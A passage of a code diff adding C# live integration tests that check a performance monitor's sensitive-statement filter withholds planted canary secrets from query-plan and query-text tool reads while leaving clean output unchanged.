+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live plan-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+
+        /* #5440: pay the filter's one-time costs (the judge build and the first parse, which run before and inside its
+           time limits) on a small plan of the same shape, as the service does at startup, so the 600,000-character reads
+           below are timed on a warm filter. */
+        SensitiveStatements.WarmUp();
+        string primed = SensitiveStatements.Xml(BigPlan(30_000, canaryFirst: true), 500_000)!;
+        _ = await StatementFilterCensus.FilterThroughHostAsync(host, primed);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xWIRENOTOKEN", null, BigPlan(600_000, canaryFirst: true), null, ct);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xWIRETOKENS", null, BigPlan(600_000, canaryFirst: true, autoParameterTokens: true), null, ct);
+
+            /* No tokens: the cut, filtered plan, on both wires. */
+            string noTokens = await UntilNotStarvedAsync("tool read, no tokens",
+                () => DarlingMcpPlanTools.GetPlanXml(postgres, "0xWIRENOTOKEN", ServerName, cancellationToken: ct), SensitiveStatements.IsWithheldPlan);
+            string mcpCut = await UntilNotStarvedAsync("host filter, no tokens",
+                async () => (await StatementFilterCensus.FilterThroughHostAsync(host, noTokens)).Text, SensitiveStatements.IsWithheldPlan);
+            AssertCutFilteredPlan("host filter, no tokens", mcpCut, markerSuffix: true);
+            /* The web wrap moves the "... (truncated)" suffix into a truncated flag, so the plan_xml text is the cut plan without it. */
+            using var webCutDoc = JsonDocument.Parse(await UntilNotStarvedAsync("web read, no tokens",
+                () => WebAnswerAsync(noTokens, "0xWIRENOTOKEN"),
+                answer => !JsonDocument.Parse(answer).RootElement.TryGetProperty("plan_xml", out var planXml) || SensitiveStatements.IsWithheldPlan(planXml.GetString())));
+            Assert.True(webCutDoc.RootElement.GetProperty("truncated").GetBoolean());
+            AssertCutFilteredPlan("web read, no tokens", webCutDoc.RootElement.GetProperty("plan_xml").GetString()!, markerSuffix: false);
+
+            /* Tokens: the tool's own answer is the cut plan; the second check withholds it whole on both wires. */
+            string withTokens = await UntilNotStarvedAsync("tool read, with tokens",
+                () => DarlingMcpPlanTools.GetPlanXml(postgres, "0xWIRETOKENS", ServerName, cancellationToken: ct), SensitiveStatements.IsWithheldPlan);
+            Assert.EndsWith("... (truncated)", withTokens, StringComparison.Ordinal);
+            string mcpHeld = (await StatementFilterCensus.FilterThroughHostAsync(host, withTokens)).Text;
+            Assert.Equal(SensitiveStatements.PlaceholderText, mcpHeld);
+            string webHeld = JsonDocument.Parse(await WebAnswerAsync(withTokens, "0xWIRETOKENS")).RootElement.GetProperty("plan_xml").GetString()!;
+            Assert.Equal(SensitiveStatements.PlaceholderText, webHeld);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>How many times one read of a 600,000-character plan is tried before a withheld answer counts.</summary>
+    private const int StarvedAttempts = 3;
+
+    /// <summary>
+    /// #5440: runs one filtered read of a plan far over the transport limit and gives back its answer. The filter
+    /// withholds a plan it cannot finish judging inside its limits: <see cref="SensitiveStatements.ReadBudget"/> (1.5 s for the
+    /// whole read) and <see cref="SensitiveStatements.MatchTimeout"/> (250 ms for one value, which the cut plan's text is,
+    /// because it no longer parses). Both run on the wall clock, and a read of this plan takes 35 to 100 ms on an idle
+    /// machine, so a runner that stalls the thread for a quarter of a second gets the placeholder instead of the plan. The
+    /// product keeps both limits (a slow judge must still fail closed). This test measures the read and, only when the
+    /// answer is withheld AND the read took at least <see cref="SensitiveStatements.MatchTimeout"/> (the smallest time
+    /// the filter can give up in), reads again, up to <see cref="StarvedAttempts"/> times, and reports each time.
+    /// A withheld answer that came back fast is never retried, and the caller still asserts a cut, filtered plan on the
+    /// answer it gets, so a filter that withholds a plan it should cut still fails on every attempt.
+    /// </summary>
+    private static async Task<string> UntilNotStarvedAsync(string label, Func<Task<string>> read, Func<string, bool> isWithheld)
+    {
+        for (int attempt = 1; ; attempt++)
+        {
+            long started = Stopwatch.GetTimestamp();
+            string answer = await read();
+            TimeSpan took = Stopwatch.GetElapsedTime(started);
+            bool withheld = isWithheld(answer);
+            bool starved = withheld && took >= SensitiveStatements.MatchTimeout;
+            TestContext.Current.SendDiagnosticMessage(
+                $"#5440 {label}: attempt {attempt} took {took.TotalMilliseconds:F0} ms, withheld={withheld}, starved={starved}");
+            if (!starved || attempt >= StarvedAttempts)
+            {
+                return answer;
+            }
+        }
+    }
+
+    private static void AssertCutFilteredPlan(string label, string answer, bool markerSuffix)
+    {
+        Assert.True(answer.StartsWith("<ShowPlanXML", StringComparison.Ordinal), label + ": not a plan: " + answer[..Math.Min(80, answer.Length)]);
+        Assert.Equal(markerSuffix, answer.EndsWith("... (truncated)", StringComparison.Ordinal));
+        Assert.True(answer.Length >= 500_000, label + ": not a cut plan (" + answer.Length + " chars)");
+        Assert.False(answer.EndsWith("</ShowPlanXML>", StringComparison.Ordinal), label + ": the whole plan came back");
+        Assert.Contains(StatementFilterCensus.Marker, answer, StringComparison.Ordinal);
+        foreach (string needle in StatementScrubCanary.SecretNeedles)
+            Assert.DoesNotContain(needle, answer, StringComparison.Ordinal);
+    }
+
+    /// <summary>What the web plan read sends for a tool answer: the wrapped answer through <c>ToHttpResult</c>.</summary>
+    private static async Task<string> WebAnswerAsync(string toolAnswer, string queryHash)
+    {
+        var result = DarlingWebEndpoints.ToHttpResult(
+            DarlingWebEndpoints.WrapPlanXml(toolAnswer, queryHash, null), "/api/read/get_plan_xml",
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, 1);
+        var services = new Microsoft.Extensions.DependencyInjection.ServiceCollection();
+        Microsoft.Extensions.DependencyInjection.LoggingServiceCollectionExtensions.AddLogging(services);
+        var context = new Microsoft.AspNetCore.Http.DefaultHttpContext
+        {
+            RequestServices = Microsoft.Extensions.DependencyInjection.ServiceCollectionContainerBuilderExtensions.BuildServiceProvider(services),
+        };
+        context.Response.Body = new System.IO.MemoryStream();
+        await result.ExecuteAsync(context);
+        return Encoding.UTF8.GetString(((System.IO.MemoryStream)context.Response.Body).ToArray());
+    }
+
+    /// <summary>
+    /// A 20 MB stored plan read through <c>get_plan_xml</c>, with the sensitive statement at the start and with none: the filter
+    /// is told where the tool will cut, so neither shape walks the whole document. The ceiling is loose on purpose (a slow
+    /// runner is not a failure); it catches a read that goes back to filtering all 20 MB.
+    /// </summary>
+    [Fact]
+    public async Task ATwentyMegabytePlan_ReadThroughGetPlanXml_StaysInsideTheCeiling_WithAndWithoutAHit()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live plan-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xTWENTYHIT", null, BigPlan(20_000_000, canaryFirst: true), null, ct);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xTWENTYMISS", null, BigPlan(20_000_000, canaryFirst: false), null, ct);
+
+            var timings = new StringBuilder();
+            foreach (string hash in new[] { "0xTWENTYHIT", "0xTWENTYMISS" })
+            {
+                /* The same read before this change: the stored text and the tool's own cut, with nothing between. */
+                var before = Stopwatch.StartNew();
+                string raw;
+                await using (var command = new NpgsqlCommand("SELECT query_plan_xml FROM query_stats WHERE server_id = $1 AND query_hash = $2", connection))
+                {
+                    command.Parameters.AddWithValue(ServerId);
+                    command.Parameters.AddWithValue(hash);
+                    raw = (string)(await command.ExecuteScalarAsync(ct))!;
+                }
+
+                string unfiltered = McpHelpers.Truncate(raw, 512_000)!;
+                before.Stop();
+
+                var after = Stopwatch.StartNew();
+                string answer = await DarlingMcpPlanTools.GetPlanXml(postgres, hash, ServerName, cancellationToken: ct);
+                after.Stop();
+
+                timings.Append(CultureInfo.InvariantCulture, $"{hash}: unfiltered {before.ElapsedMilliseconds} ms, filtered {after.ElapsedMilliseconds} ms; ");
+                Assert.EndsWith("... (truncated)", answer, StringComparison.Ordinal);
+                Assert.NotEqual(SensitiveStatements.PlaceholderText, answer);
+                Assert.True(after.Elapsed < TimeSpan.FromSeconds(15), timings.ToString());
+                Assert.Equal(hash == "0xTWENTYHIT", answer.Contains(StatementFilterCensus.Marker, StringComparison.Ordinal));
+                Assert.Equal(hash == "0xTWENTYMISS", answer == unfiltered);
+            }
+
+            if (Environment.GetEnvironmentVariable("SSF_L5A_TIMINGS") == "1")
+                Assert.Fail(timings.ToString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>A plan of at least <paramref name="minLength"/> characters: the canary plan's statements first (when
+    /// <paramref name="canaryFirst"/>; the plain statement otherwise), then plain padding statements.</summary>
+    private static string BigPlan(int minLength, bool canaryFirst, bool autoParameterTokens = false)
+    {
+        string canary = StatementScrubCanary.CanaryPlan();
+        int open = canary.IndexOf("<StmtSimple", StringComparison.Ordinal);
+        int second = canary.IndexOf("<StmtSimple", open + 1, StringComparison.Ordinal);
+        int third = canary.IndexOf("<StmtSimple", second + 1, StringComparison.Ordinal);
+        string head = canary.Substring(0, open);
+        string first = canaryFirst ? canary.Substring(open, second - open) : string.Empty;
+        string plain = canary.Substring(second, third - second);
+        const string Tail = "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        var sb = new StringBuilder(minLength + 1024);
+        sb.Append(head).Append(first).Append(plain);
+        /* The pad's parameter is the auto-parameter shape (@1) when asked, so the cut text holds a token as well as the
+           plain statement's ParameterCompiledValue. */
+        string pad = autoParameterTokens ? "@1" : "@c";
+        for (int i = 10; sb.Length < minLength; i++)
+            sb.Append("<StmtSimple StatementText=\"SELECT canary_pad_ssf FROM dbo.pad WHERE id = ").Append(pad).Append("\" StatementId=\"").Append(i).Append("\" StatementType=\"SELECT\" />");
+        return sb.Append(Tail).ToString();
+    }
+
+    // ── seeding ──
+
+    private static async Task RegisterServerAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, created_date, modified_date)
+VALUES ($1, $2, $2, TRUE, $3, $3)
+ON CONFLICT (server_id) DO UPDATE SET server_name = EXCLUDED.server_name, display_name = EXCLUDED.display_name,
+    is_enabled = TRUE, modified_date = EXCLUDED.modified_date;", connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(Anchor, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One query_stats or procedure_stats row carrying the plan inline (<paramref name="inline"/>) or by the digest of a
+    /// dimension row (<paramref name="dimPlan"/>, which <see cref="InsertDimAsync"/> stored).</summary>
+    private static async Task InsertStatsAsync(
+        NpgsqlConnection connection, string table, DateTime collectionTime, string? queryHash, string? sqlHandle,
+        string? inline, string? dimPlan, CancellationToken ct)
+    {
+        string columns = table == "query_stats"
+            ? "query_hash, sql_handle, plan_handle"
+            : "schema_name, object_name, sql_handle";
+        string values = table == "query_stats" ? "$5, $5, $5" : "'dbo', 'usp_ssf', $5";
+        await using var command = new NpgsqlCommand($@"
+INSERT INTO {table}
+    (collection_id, collection_time, server_id, server_name, database_name, {columns}, query_plan_xml, query_plan_digest)
+VALUES ($1, $2, $3, $4, '{Db}', {values}, $6, $7)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue((object?)queryHash ?? (object?)sqlHandle ?? DBNull.Value);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)inline ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter
+        {
+            NpgsqlDbType = NpgsqlDbType.Bytea,
+            Value = dimPlan is null ? DBNull.Value : PayloadDimensions.Digest(dimPlan),
+        });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertDimAsync(NpgsqlConnection connection, string plan, bool gz, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            gz
+                ? "INSERT INTO query_plan_dim (digest, query_plan_gz, last_seen) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING"
+                : "INSERT INTO query_plan_dim (digest, query_plan_xml, last_seen) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING",
+            connection);
+        command.Parameters.AddWithValue(PayloadDimensions.Digest(plan));
+        if (gz)
+            command.Parameters.AddWithValue(PayloadDimensions.CompressContent(plan));
+        else
+            command.Parameters.AddWithValue(plan);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(Anchor, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertQueryStoreAsync(
+        NpgsqlConnection connection, DateTime collectionTime, long queryId, long planId, string? inline, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_plan_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(queryId);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)inline ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertMapAsync(NpgsqlConnection connection, long planId, string plan, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_plan_map (server_id, database_name, plan_id, digest, plan_hash, last_seen) VALUES ($1, $2, $3, $4, $5, $6)",
+            connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = PayloadDimensions.Digest(plan) });
+        command.Parameters.AddWithValue("0x5257");
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(Anchor, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertSnapshotAsync(
+        NpgsqlConnection connection, DateTime collectionTime, int sessionId, int requestId, string plan, string livePlan, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO query_snapshots
+    (collection_id, collection_time, server_id, server_name, session_id, request_id, query_plan, live_query_plan)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(sessionId);
+        command.Parameters.AddWithValue(requestId);
+        command.Parameters.AddWithValue(plan);
+        command.Parameters.AddWithValue(livePlan);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertReportAsync(
+        NpgsqlConnection connection, DateTime eventTime, int blockedSpid, int blockingSpid, string blockedPlan, string blockingPlan, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms, blocking_spid, blocked_spid,
+     blocked_ecid, blocking_ecid, blocking_status, database_name, blocked_query_plan_xml, blocking_query_plan_xml)
+VALUES ($1, $2, $3, $4, $5, 12000, $6, $7, 0, 0, 'suspended', $8, $9, $10)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTime.AddSeconds(5), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(blockingSpid);
+        command.Parameters.AddWithValue(blockedSpid);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(blockedPlan);
+        command.Parameters.AddWithValue(blockingPlan);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertDeadlockAsync(
+        NpgsqlConnection connection, DateTime collectionTime, DateTime deadlockTime, string victimProcessId, string victimPlan, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO deadlocks
+    (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_query_plan_xml, database_name)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(deadlockTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(victimProcessId);
+        command.Parameters.AddWithValue(victimPlan);
+        command.Parameters.AddWithValue(Db);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using (var cleanup = new NpgsqlCommand(
+            $"DELETE FROM blocked_process_reports WHERE server_id = {ServerId}; " +
+            $"DELETE FROM deadlocks WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM collect.query_store_plan_map WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection))
+        {
+            await cleanup.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The dimension rows are keyed by digest, so they go by the plans this class planted. */
+        for (int n = 1; n <= 12; n++)
+        {
+            await using var dim = new NpgsqlCommand("DELETE FROM query_plan_dim WHERE digest = $1", connection);
+            dim.Parameters.AddWithValue(PayloadDimensions.Digest(Variant(n)));
+            await dim.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterQueryReadsLiveTests.cs b/Darling/Darling.Tests/StatementFilterQueryReadsLiveTests.cs
new file mode 100644
index 0000000000..15a2081d6f
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterQueryReadsLiveTests.cs
@@ -0,0 +1,310 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, read-time census for the query-text family (inventory rows 1-7): get_active_queries, get_top_queries_by_cpu,
+/// get_query_store_top, get_query_store_regressions, get_query_heatmap, get_plan_corrections and both get_finops views that
+/// print statement text (high_impact's sample_query_text, optimization's query_preview). Each case plants rows DIRECTLY in
+/// the store tables, so the rows look like ones stored before the collection hook existed: a canary statement beside a plain
+/// one, and a second server holding only plain rows. The read runs RAW (the tool method alone: it must still hold the
+/// canary, the control that proves the plant reached the output) and FILTERED (the same text through the host's registered
+/// filter list). The filtered answer holds no secret needle, carries the marker, and keeps the plain statement. A page with
+/// no canary comes back byte-identical to the raw read (whenever the output format variable is unset, which is the
+/// production default). Each case reads the preview form and the <c>full_text=true</c> form where the tool has one.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementFilterQueryReadsLiveTests
+{
+    private const string Db = "SsfQueryDb";
+    private const string CanaryServer = "darling-ssf-query-reads";
+    private const string CleanServer = "darling-ssf-query-reads-clean";
+    private static readonly int CanaryId = ServerIdHelper.GetDeterministicHashCode(CanaryServer);
+    private static readonly int CleanId = ServerIdHelper.GetDeterministicHashCode(CleanServer);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private readonly ITestOutputHelper _output;
+
+    public StatementFilterQueryReadsLiveTests(ITestOutputHelper output) => _output = output;
+
+    public static IEnumerable<TheoryDataRow<string>> Cases() => new[]
+    {
+        new TheoryDataRow<string>("get_active_queries"),
+        new TheoryDataRow<string>("get_top_queries_by_cpu"),
+        new TheoryDataRow<string>("get_query_store_top"),
+        new TheoryDataRow<string>("get_query_store_regressions"),
+        new TheoryDataRow<string>("get_query_heatmap"),
+        new TheoryDataRow<string>("get_plan_corrections"),
+        new TheoryDataRow<string>("get_finops high_impact"),
+        new TheoryDataRow<string>("get_finops optimization"),
+    };
+
+    [Theory]
+    [MemberData(nameof(Cases))]
+    public async Task EveryQueryTextRead_WithTheCanaryStoredBeforeTheHook_WithholdsItThroughTheHost_AndLeavesACleanPageUntouched(string tool)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live query-text filter census.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, CanaryId, CanaryServer, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, CleanId, CleanServer, ct);
+            await SeedAsync(connection, tool, CanaryId, CanaryServer, withCanary: true, ct);
+            await SeedAsync(connection, tool, CleanId, CleanServer, withCanary: false, ct);
+
+            var reads = ReadsFor(postgres, tool, ct);
+            Assert.NotEmpty(reads);
+            foreach (var (form, readerJudges, read) in reads)
+            {
+                string label = tool + " (" + form + ")";
+
+                /* The plant is real: the stored rows still hold the canary, whatever the read does with it. */
+                Assert.True(await StoreHoldsTheCanaryAsync(connection, CanaryId, ct), label + ": the stored rows lost the canary, so the plant never reached the store");
+
+                string raw = await read(CanaryServer);
+                string filtered;
+                if (readerJudges)
+                {
+                    /* #5320: this form's reader judges the WHOLE statement before it cuts it, so the reader's own answer already
+                       holds the marker and not one secret needle, and the plain statement beside it is kept. The host filter then
+                       has nothing left to withhold (the answer is unchanged), which proves the reader did the whole job. */
+                    foreach (string needle in StatementScrubCanary.SecretNeedles)
+                        Assert.False(raw.Contains(needle, StringComparison.Ordinal), label + ": the reader's own answer still holds a secret needle");
+                    Assert.True(raw.Contains(StatementFilterCensus.Marker, StringComparison.Ordinal), label + ": the reader's own answer does not carry the withheld marker");
+                    Assert.True(raw.Contains("canary_plain_ssf", StringComparison.Ordinal), label + ": the reader's own answer lost the plain statement beside the canary");
+                    filtered = (await StatementFilterCensus.FilterThroughHostAsync(host, raw)).Text;
+                    Assert.True(string.Equals(raw, filtered, StringComparison.Ordinal), label + ": the host filter changed an answer the reader had already judged");
+                }
+                else
+                {
+                    Assert.True(raw.Contains("S3cret-canary-ssf", StringComparison.Ordinal), label + ": the raw read lost the canary, so the plant did not reach the output");
+                    filtered = (await StatementFilterCensus.FilterThroughHostAsync(host, raw)).Text;
+                    try
+                    {
+                        StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, filtered);
+                    }
+                    catch (Exception ex)
+                    {
+                        throw new Xunit.Sdk.XunitException(label + ": " + ex.Message);
+                    }
+                }
+                /* The no-hit page: nothing to withhold, so the answer is the raw read, byte for byte. The host is built with GCF
+                   pinned off (#5320), so no other class's DARLING_OUTPUT_FORMAT reaches it and the identity holds every run. */
+                string clean = await read(CleanServer);
+                Assert.DoesNotContain("S3cret-canary-ssf", clean, StringComparison.Ordinal);
+                string cleanFiltered = (await StatementFilterCensus.FilterThroughHostAsync(host, clean)).Text;
+                Assert.True(string.Equals(clean, cleanFiltered, StringComparison.Ordinal), label + ": a page with no canary changed under the filter");
+
+                _output.WriteLine($"{label}: no-hit page {Encoding.UTF8.GetByteCount(clean):N0} bytes raw, {Encoding.UTF8.GetByteCount(cleanFiltered):N0} bytes filtered; canary page {Encoding.UTF8.GetByteCount(raw):N0} raw, {Encoding.UTF8.GetByteCount(filtered):N0} filtered.");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>Every form of the tool the census reads: the default (preview) and the <c>full_text</c> form where the tool has one. <c>ReaderJudges</c> is true for a form whose reader judges the whole statement itself (#5320: the preview forms, which judge then cut, and the heatmap, whose reader judges both), so the census holds that form to the reader's own answer; a false form returns the stored text raw and the host filter is the one that withholds it.</summary>
+    private static List<(string Form, bool ReaderJudges, Func<string, Task<string>> Read)> ReadsFor(NpgsqlDataSource postgres, string tool, CancellationToken ct)
+    {
+        var reads = new List<(string, bool, Func<string, Task<string>>)>();
+        switch (tool)
+        {
+            case "get_active_queries":
+                reads.Add(("preview", true, s => DarlingMcpSessionTools.GetActiveQueries(postgres, s, cancellationToken: ct)));
+                reads.Add(("full_text", false, s => DarlingMcpSessionTools.GetActiveQueries(postgres, s, full_text: true, cancellationToken: ct)));
+                break;
+            case "get_top_queries_by_cpu":
+                reads.Add(("default", true, s => DarlingMcpDataTools.GetTopQueriesByCpu(postgres, s, cancellationToken: ct)));
+                reads.Add(("detail=full", true, s => DarlingMcpDataTools.GetTopQueriesByCpu(postgres, s, detail: "full", cancellationToken: ct)));
+                reads.Add(("group_by=host_object", true, s => DarlingMcpDataTools.GetTopQueriesByCpu(postgres, s, group_by: "host_object", cancellationToken: ct)));
+                break;
+            case "get_query_store_top":
+                reads.Add(("preview", true, s => DarlingMcpDataTools.GetQueryStoreTop(postgres, s, cancellationToken: ct)));
+                reads.Add(("full_text", false, s => DarlingMcpDataTools.GetQueryStoreTop(postgres, s, full_text: true, cancellationToken: ct)));
+                break;
+            case "get_query_store_regressions":
+                reads.Add(("preview", true, s => DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, s, cancellationToken: ct)));
+                reads.Add(("full_text", false, s => DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, s, full_text: true, cancellationToken: ct)));
+                break;
+            case "get_query_heatmap":
+                reads.Add(("preview", true, s => DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, s, cancellationToken: ct)));
+                reads.Add(("full_text", true, s => DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, s, full_text: true, cancellationToken: ct)));
+                break;
+            case "get_plan_corrections":
+                reads.Add(("preview", true, s => DarlingMcpPlanCorrectionTools.GetPlanCorrections(postgres, s, cancellationToken: ct)));
+                reads.Add(("full_text", false, s => DarlingMcpPlanCorrectionTools.GetPlanCorrections(postgres, s, full_text: true, cancellationToken: ct)));
+                break;
+            case "get_finops high_impact":
+                reads.Add(("high_impact", true, s => DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", s, cancellationToken: ct)));
+                break;
+            case "get_finops optimization":
+                reads.Add(("optimization", true, s => DarlingMcpFinOpsTools.GetFinOps(postgres, "optimization", s, cancellationToken: ct)));
+                break;
+            default:
+                throw new ArgumentOutOfRangeException(nameof(tool), tool, null);
+        }
+
+        return reads;
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, string tool, int serverId, string serverName, bool withCanary, CancellationToken ct)
+    {
+        var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+        var texts = new List<(string Text, string Tag)>();
+        if (withCanary) texts.Add((StatementScrubCanary.CanaryStatement, "C"));
+        texts.Add((StatementScrubCanary.PlainStatement, "P"));
+
+        switch (tool)
+        {
+            case "get_active_queries":
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
